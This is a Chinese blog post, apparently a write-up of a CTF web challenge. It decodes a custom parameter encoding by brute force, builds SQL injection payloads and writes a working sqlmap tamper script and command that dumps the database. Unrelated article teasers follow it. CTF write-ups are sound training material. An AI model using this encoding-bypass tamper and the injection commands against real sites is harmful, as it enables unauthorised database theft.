記一次沒做出來的ctf題目

2021-02-21 Right or wr0ng
題目映入眼帘是這樣子

可以猜測QgcAYAbgbw是Guest這五個字母

5*2=10 故 Qg == G 以此類推

驗證下

於是,下面的腳本可能是這樣。


zf = string.ascii_letters
url = "http://xx.x.x.x:xxxx/?user="
for i in zf:
for j in zf:
resp = requests.get(url + i + j)
if resp.text[-1] != ' ':
print(resp.text[-1] + " " + i + j)
kv[resp.text[-1]] = i+j

print(kv)

於是如願以償的得到了admin這幾個字符對應的值。

XAXwaAZAaQ

我以為結束了,然而並沒有,映入眼帘的像極了SQL注入。

後面的字符要想構造語句需要構造太多了。用上面的腳本就不行了。

於是把所有的字符跑出來,搞成個字典,用到啥跑一下就行了。

腳本大概的思路就是兩層for循環,然後請求數據,看返回包的最後一位是否為空,不為空就增加到字典裡。

結果大概如下:

kv ={'o': 'ag', 'p': 'aw', 'm': 'aA', 'n': 'aQ', 's': 'bg', 't': 'bw', 'q': 'bA', 'r': 'bQ', 'w': 'cg', 'x': 'cw', 'u': 'cA', 'v': 'cQ', '{': 'dg', '|': 'dw', 'y': 'dA', 'z': 'dQ', '\x7f': 'eg', '聙': 'ew', '}': 'eA', '~': 'eQ', '聝': 'fg', '聞': 'fw', '聛': 'fA', '聜': 'fQ', '聡': 'gg', '聢': 'gw', '聟': 'gA', '聠': 'gQ', '聥': 'hg', '聦': 'hw', '聣': 'hA', '聤': 'hQ', '聫': 'ig', '聬': 'iw', '聧': 'iA', '聨': 'iQ', '聯': 'jg', '聰': 'jw', '聭': 'jA', '聮': 'jQ', '聴': 'kg', '聵': 'kw', '聲': 'kA', '聳': 'kQ', '聸': 'lg', '聹': 'lw', '聶': 'lA', '職': 'lQ', '聼': 'mg', '聽': 'mw', '聺': 'mA', '聻': 'mQ', '攏': 'ng', '隴': 'nw', '隆': 'nA', '壟': 'nQ', '摟': 'og', '簍': 'ow', '樓': 'oA', '婁': 'oQ', '蘆': 'pg', '盧': 'pw', '漏': 'pA', '陋': 'pQ', '爐': 'qg', '擄': 'qw', '顱': 'qA', '廬': 'qQ', '魯': 'rg', '麓': 'rw', '滷': 'rA', '虜': 'rQ', '路': 'sg', '賂': 'sw', '碌': 'sA', '露': 'sQ', '祿': 'tg', '錄': 'tw', '鹿': 'tA', '潞': 'tQ', '驢': 'ug', '脌': 'uw', '陸': 'uA', '戮': 'uQ', '脙': 'vg', '脛': 'vw', '脕': 'vA', '脗': 'vQ', '脟': 'wg', '脠': 'ww', '脜': 'wA', '脝': 'wQ', '唇': 'xg', '脤': 'xw', '脡': 'xA', '脢': 'xQ', '脧': 'yg', '脨': 'yw', '脥': 'yA', '脦': 'yQ', '脫': 'zg', '脭': 'zw', '脩': 'zA', '脪': 'zQ', '\x03': 'Ag', '\x04': 'Aw', '\x02': 'AQ', '\x05': 'BA', '\x06': 'BQ', '\x0e': 'Cg', '\x0f': 'Cw', '\x12': 'Dg', '\x13': 'Dw', '\x10': 'DA', '\x11': 'DQ', '\x16': 'Eg', '\x17': 'Ew', '\x14': 'EA', '\x15': 'EQ', '\x1b': 'Fw', '\x18': 'FA', '\x1e': 'Gg', '\x1f': 'Gw', '\x1c': 'GA', '\x1d': 'GQ', '#': 'Hg', '$': 'Hw', '!': 'HA', '"': 'HQ', "'": 'Ig', '(': 'Iw', '%': 'IA', '&': 'IQ', '+': 'Jg', ',': 'Jw', ')': 'JA', '*': 'JQ', '/': 'Kg', '0': 'Kw', '-': 'KA', '.': 'KQ', '3': 'Lg', '4': 'Lw', '1': 'LA', '2': 'LQ', '7': 'Mg', '8': 'Mw', '5': 'MA', '6': 'MQ', ';': 'Ng', '<': 'Nw', '9': 'NA', ':': 'NQ', '?': 'Og', '@': 'Ow', '=': 'OA', '>': 'OQ', 'C': 'Pg', 'D': 'Pw', 'A': 'PA', 'B': 'PQ', 'G': 'Qg', 'H': 'Qw', 'E': 'QA', 'F': 'QQ', 'K': 'Rg', 'L': 'Rw', 'I': 'RA', 'J': 'RQ', 'O': 'Sg', 'P': 'Sw', 'M': 'SA', 'N': 'SQ', 'S': 'Tg', 'T': 'Tw', 'Q': 'TA', 'R': 'TQ', 'W': 'Ug', 'X': 'Uw', 'U': 'UA', 'V': 'UQ', '[': 'Vg', '\\': 'Vw', 'Y': 'VA', 'Z': 'VQ', '_': 'Wg', '`': 'Ww', ']': 'WA', '^': 'WQ', 'c': 'Xg', 'd': 'Xw', 'a': 'XA', 'b': 'XQ', 'g': 'Yg', 'h': 'Yw', 'e': 'YA', 'f': 'YQ', 'k': 'Zg', 'l': 'Zw', 'i': 'ZA', 'j': 'ZQ'}

然後構造語句:

sql = "1 and 1=2 union select 1,(select user())"
sql1 = sql.replace(' ','/**/')
for i in sql1:
print(kv[i],end='')
# XAXwaAZAaQ

通過這種方式搞了幾個語句,發現整不出來數據表啥的。就放棄了。

轉機出現在剛剛在群裡看了tamper,然後恍然大悟,啊 tamper這樣子寫。我之前想複雜了。

簡單說一下。

觀察一個原始的tamper,sqlmap自帶的。

直接看tamper函數。

發現他return了最後編碼過的payload。

那好,整體的流程就是,我們只需要關心經過改變後的輸出就行了。

輸入是sqlmap自己嘗試的payload。

腳本如下:

# -*- coding:utf-8 -*-

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
   pass

def tamper(payload, **kwargs):
   """
  """
   s = ''
   kv = {'o': 'ag', 'p': 'aw', 'm': 'aA', 'n': 'aQ', 's': 'bg', 't': 'bw', 'q': 'bA', 'r': 'bQ', 'w': 'cg', 'x': 'cw', 'u': 'cA', 'v': 'cQ', '{': 'dg', '|': 'dw', 'y': 'dA', 'z': 'dQ', '}': 'eA', '~': 'eQ', '聝': 'fg', '聞': 'fw', '聛': 'fA', '聜': 'fQ', '聡': 'gg', '聢': 'gw', '聟': 'gA', '聠': 'gQ', '聥': 'hg', '聦': 'hw', '聣': 'hA', '聤': 'hQ', '聫': 'ig', '聬': 'iw', '聧': 'iA', '聨': 'iQ', '聯': 'jg', '聰': 'jw', '聭': 'jA', '聮': 'jQ', '聴': 'kg', '聵': 'kw', '聲': 'kA', '聳': 'kQ', '聸': 'lg', '聹': 'lw', '聶': 'lA', '職': 'lQ', '聼': 'mg', '聽': 'mw', '聺': 'mA', '聻': 'mQ', '攏': 'ng', '隴': 'nw', '隆': 'nA', '壟': 'nQ', '摟': 'og', '簍': 'ow', '樓': 'oA', '婁': 'oQ', '蘆': 'pg', '盧': 'pw', '漏': 'pA', '陋': 'pQ', '爐': 'qg', '擄': 'qw', '顱': 'qA', '廬': 'qQ', '魯': 'rg', '麓': 'rw', '滷': 'rA', '虜': 'rQ', '路': 'sg', '賂': 'sw', '碌': 'sA', '露': 'sQ', '祿': 'tg', '錄': 'tw', '鹿': 'tA', '潞': 'tQ', '驢': 'ug', '脌': 'uw', '陸': 'uA', '戮': 'uQ', '脙': 'vg', '脛': 'vw', '脕': 'vA', '脗': 'vQ', '脟': 'wg', '脠': 'ww', '脜': 'wA', '脝': 'wQ', '唇': 'xg', '脤': 'xw', '脡': 'xA', '脢': 'xQ', '脧': 'yg', '脨': 'yw', '脥': 'yA', '脦': 'yQ', '脫': 'zg', '脭': 'zw', '脩': 'zA', '脪': 'zQ',  '#': 'Hg', '$': 'Hw', '!': 'HA', '"': 'HQ', "'": 'Ig', '(': 'Iw', '%': 'IA', '&': 'IQ', '+': 'Jg', ',': 'Jw', ')': 'JA', '*': 'JQ', '/': 'Kg', '0': 'Kw', '-': 'KA', '.': 'KQ', '3': 'Lg', '4': 'Lw', '1': 'LA', '2': 'LQ', '7': 'Mg', '8': 'Mw', '5': 'MA', '6': 'MQ', ';': 'Ng', '<': 'Nw', '9': 'NA', ':': 'NQ', '?': 'Og', '@': 'Ow', '=': 'OA', '>': 'OQ', 'C': 'Pg', 'D': 'Pw', 'A': 'PA', 'B': 'PQ', 'G': 'Qg', 'H': 'Qw', 'E': 'QA', 'F': 'QQ', 'K': 'Rg', 'L': 'Rw', 'I': 'RA', 'J': 'RQ', 'O': 'Sg', 'P': 'Sw', 'M': 'SA', 'N': 'SQ', 'S': 'Tg', 'T': 'Tw', 'Q': 'TA', 'R': 'TQ', 'W': 'Ug', 'X': 'Uw', 'U': 'UA', 'V': 'UQ', '[': 'Vg', 'Y': 'VA', 'Z': 'VQ', '_': 'Wg', '`': 'Ww', ']': 'WA', '^': 'WQ', 'c': 'Xg', 'd': 'Xw', 'a': 'XA', 'b': 'XQ', 'g': 'Yg', 'h': 'Yw', 'e': 'YA', 'f': 'YQ', 'k': 'Zg', 'l': 'Zw', 'i': 'ZA', 'j': 'ZQ'}
   payload = payload.replace(' ','/**/')
   for i in payload:
       s += kv[i]
   return s

通過這個tamper可以將sqlmap傳入的字符串按照tamper裡面替換字符的方式更改。

sqlmap -u http://x.x.x.x:x/\?user\=XAXwaAZAaQ\&id\=1 --proxy=http://127.0.0.1:8080 --tamper=ctf -p id --dump

這裡直接dump數據了。

proxy的作用是讓sqlmap走一下burp代理,是用來驗證payload發沒發錯的。

相關焦點

  • 數組題目:轉置矩陣
    題目標題和出處標題:轉置矩陣出處:867.
  • 快速記憶:編故事記住圓周率及形象記憶法記英語
    有一年春節前到成都參加總部的活動,搶答遊戲中有一道題目要求背出圓周率小數點後7位。很多人開始上網查,我很輕鬆地答出來。
  • 我所有題目都刷完了!腫麼辦!!!
    練過的題目需要重寫是每個人都會遇到的問題,畢竟GMAT放出來的官方題目就是那麼多。又不能去練外麵坊間自創的,因為考點方向會很怪。我自己OG練了4遍,PREP練了2遍半。當然也遇過跟你一樣的問題。但是我是怎麼去應對的呢?眾所周知,第一遍寫OG完全是霧裡看花,試手感甚至憑感覺亂挑亂選。大概到第二遍的時候才開始會嘗試去抓考點、分析。
  • 建議同學們給日記取個題目
    給日記取個題目每天寫日記就是為寫作積累素材讓同學們養成每天寫日記的習慣,並且寫完以後給這篇小文章取個題目。
  • 面試熱點:情景模擬題目
    【題目回顧】小李是愛心助學志願者,在助學過程中發現幫扶對象態度冷漠,自結對幫扶以來,一句感謝的話都沒說過,小李感到失落和沮喪,向志願者組織的負責人反映情況,要求更換幫扶對象。假如你是該負責人,將如何做好小李的思想工作,請現場模擬一下。
  • 考了六次讀卡器都沒讀出來,第七次……
    「我想跟你們訴說一下自己最近駕考的遭遇,不知道是不是我自己倒黴,場地考連考六次,讀卡器都沒讀出來。」
  • 12306的題目實在太難了,腫麼辦!」
    但是那些還沒買票的,誒誒,先別急著走。  哈哈哈哈哈哈,仿佛已經有人火冒三丈了,受不鳥了,買個火車票關白百合孫楠什麼事情,非要出來添個堵。  只要你沒有色弱,半個小時應該能找出來。  不過,像這種需要二次元朋友才能解決的問題,還不得去撞牆啊。(兵長已哭暈在廁所)
  • 半月沒見,新婚媳婦上門做核酸檢測,丈夫竟沒認出來
    新婚夫婦半月沒見她上門做核酸檢測他竟沒認出來
  • 媽,我今年回不來了,12306的題目實在太難了!
    哈哈哈哈哈哈,仿佛已經有人火冒三丈了,媽蛋,買個火車票關白百合孫楠什麼事情,非要出來添個堵。還有這種,也估計只有高級影迷才能看得出來吧,我們這等屌絲也只有仰天長嘯啊。等我刷新到我能做的題,我就可以買票了。嗯,有這種想法的人還是不錯,但是小編還是想說:少年,你太天真了!畫質模糊,構圖缺陷,這些咱就不吐槽了,最重要的是12306的題型可不帶重樣的。據統計,12306的圖形碼數量已經多達581種,用戶將有機會嘗試336980道不同驗證碼題目的機會。
  • 你朋友做了什麼事讓你記一輩子?網友:我永遠記得他那天晚上的話
    你朋友做了什麼事讓你記一輩子?網友:我永遠記得他那天晚上的話我生病。吐的天昏地暗,她是個賊愛乾淨的人。
  • 銅陵即將整治,最多一次記24分!
    3、如果你持C照以上駕駛證,那麼…… (1)駕駛與駕駛證載明的準駕車型不相符的車輛的,按無證駕駛給予罰款並記12分; (2)駕駛的機動車未取得或未懸掛號牌的記然而,當路上越來越多的這些車屬於沒上牌、沒保險,更是由無駕駛證的人員駕駛時,結果就成了頻頻發生事故和車毀人亡的源頭。
  • 俄羅斯取消英語,把「漢語」納入高考試卷,網友:題目太奇葩
    因為很多人都對中國文化和語言非常感興趣,所以當地政府就決定在高考的時候取消英語,反而將那漢語納入了其中,不過在看到這些考試題目的時候,很多網友也表示自己作為中國人也有點懵,雖然看起來挺簡單,主要是為了讓大家能夠用簡單的語言來進行交流
  • 董祥一:記一道有趣的題
    還有兩天作業沒碰呢,就得瘋狂補,這就很煩,再有四天籃球又要開課了,時間又要變緊了。              上午我那位朋友發來道題讓我看看,我還以為是超難度的奧數題或新奇的生物題,沒想到是長篇大論一大段話,然後就看到標題:「愛因斯坦的世界性難題」。        看了眼題目,內心在咆哮:這麼繁瑣燒腦的邏輯題讓一個初二學生做?何況還是愛因斯坦出的題。
  • 應召女郎的秘密日記丨不TM想題目了
    so,今天,偶不再費勁心力的想題目了,估計看到這個劇集名稱的時候,你們已經沒有心思看偶講的是什麼了,換了偶也是一樣的。但是,偶又覺得有必要白話兩句,刷一刷存在感。存在感的基礎是存在,為了生存,她做了雞。這個稱呼聽上去有些刺耳,她本人倒是好無所謂,bitch、whore、prostitute……她壓根不care,她在意的是sex和money,這些這份工作都能給她。
  • 中國特供「恐怖」遊戲:《作業瘋了》上架Steam,因題目太難被吐槽
    這是繼中國式家長後,一款模擬中國小學生做作業的遊戲,靈感來自網上流行的家長吐槽孩子學習。遊戲作者希望能通過遊戲這種方式,讓大家體會中國家長在輔導孩子作業時產生的崩潰感覺,同時更能理解作為孩子做不出題時的無助心情。
  • 懟得沒毛病!這樣的「路怒症」真是看一次鼓一次掌!
    好久沒看過這麼解氣又正能量的視頻了↓↓↓  4月5日,北京的賁先生騎摩託出門,遇到一位抱著孩子的路人,便停下車禮讓。這時,後車多次按喇叭催促。又到一個路口,他停車讓直行的路人先走,又被後車長按喇叭。賁先生無奈下車對後車司機說:「下回記著,有老人孩子過,讓一些,別催!」
  • 【說法】大兵嗆交警"你算老幾",趕緊做幾道題目壓壓驚!
    來,做幾道題目,壓壓驚!1、行車中,發現行人突然橫過道路時,應迅速減速避讓。>A、停車等待,直到學生隊伍完全通過B、鳴喇叭提醒,讓學生隊伍中空出一個缺口,從缺口中穿行過去C、鳴喇叭,催促還未通過的學生加快速度通過D、按照前方交通信號燈指示直接通行2、車輛在主幹道上行駛,駛近主支幹道交匯處時,為防止與從支路突然駛入的車輛相撞,應怎樣做?
  • 教研:託福口語如何高效記筆記
    在綜合口語考試中,會要求學生先看一段文字,再聽一段錄音,或者只聽一段錄音,然後把所讀所聽的內容複述出來。有時,學生在讀的時候和聽的時候都能理解,但是說的時候就忘記了具體內容。這就要求學生擁有一定的記筆記能力,通過筆記鎖定關鍵信息,從而確保說的時候能精準的複述出閱讀和聽力內容。
  • 這些題目華人快看!答錯後果很嚴重!
    圖源:網絡和以前一樣,新規中要求入籍澳洲的移民英文水平過關、居住時長達標,然而在考試題目的細節上,出現了一些變化。從2020年11月15日起,澳大利亞入籍考試將採用新的考試提綱,考試一共包括20道選擇題,考生需答對75%考題方可通過,也就是20題要做對15題。
  • 健身日記的好處,小編記了一年半
    昨晚被春雷打醒,睡不著,把以前的健身日記翻出來看。不看不知道,一看嚇一跳!